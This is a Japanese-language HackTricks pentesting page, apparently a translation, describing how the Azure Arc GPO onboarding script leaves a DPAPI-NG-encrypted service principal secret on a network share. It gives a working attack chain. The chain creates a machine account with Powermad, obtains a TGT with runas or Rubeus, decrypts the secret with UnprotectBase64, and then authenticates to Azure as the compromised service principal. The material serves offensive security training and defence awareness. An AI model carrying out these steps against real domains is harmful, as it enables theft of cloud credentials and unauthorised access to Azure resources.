# Az - Arc vulnerable GPO Deploy Script

{{#include ../../../banners/hacktricks-training.md}}

### 課題の特定

Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバー（ドメインに参加したサーバー）をAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、DeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1というスクリプトが含まれています。

DeployGPO.ps1スクリプトを実行すると、以下のアクションが実行されます：

1. ローカルドメイン内にAzure ArcサーバーオンボーディングGPOを作成します。
2. オンボーディングプロセスのために作成された指定されたネットワーク共有にEnableAzureArc.ps1オンボーディングスクリプトをコピーします。この共有にはWindowsインストーラーパッケージも含まれています。

このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります：**ServicePrincipalId**と**ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報などの詳細も必要です。

暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内にDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことで行われます。ディスクリプタは、ドメインコンピュータおよびドメインコントローラーグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラーおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
```
### Exploit

次の条件があります：

1. 内部ネットワークに成功裏に侵入しました。
2. Active Directory内でコンピュータアカウントを作成または制御する能力があります。
3. AzureArcDeployディレクトリを含むネットワーク共有を発見しました。

AD環境内でマシンアカウントを取得する方法はいくつかあります。最も一般的な方法の1つは、マシンアカウントのクォータを悪用することです。別の方法は、脆弱なACLやさまざまな他の誤設定を通じてマシンアカウントを侵害することです。
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exeコマンドをnetonlyフラグと共に使用するか、Rubeus.exeを使用してパス・ザ・チケットを利用することができます。
```bash
runas /user:fake01$ /netonly powershell
```

```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
コンピュータアカウントのTGTがメモリに保存されていることで、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。
```bash
Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs
```
代わりに、[SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG)を使用できます。

この時点で、暗号化されたServicePrincipalSecretファイルと同じネットワーク共有に保存されているArcInfo.jsonファイルから、Azureに接続するために必要な残りの情報を収集できます。このファイルには、TenantId、servicePrincipalClientId、ResourceGroupなどの詳細が含まれています。この情報を使用して、Azure CLIを使用して侵害されたサービスプリンシパルとして認証できます。

## 参考文献

- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)

{{#include ../../../banners/hacktricks-training.md}}
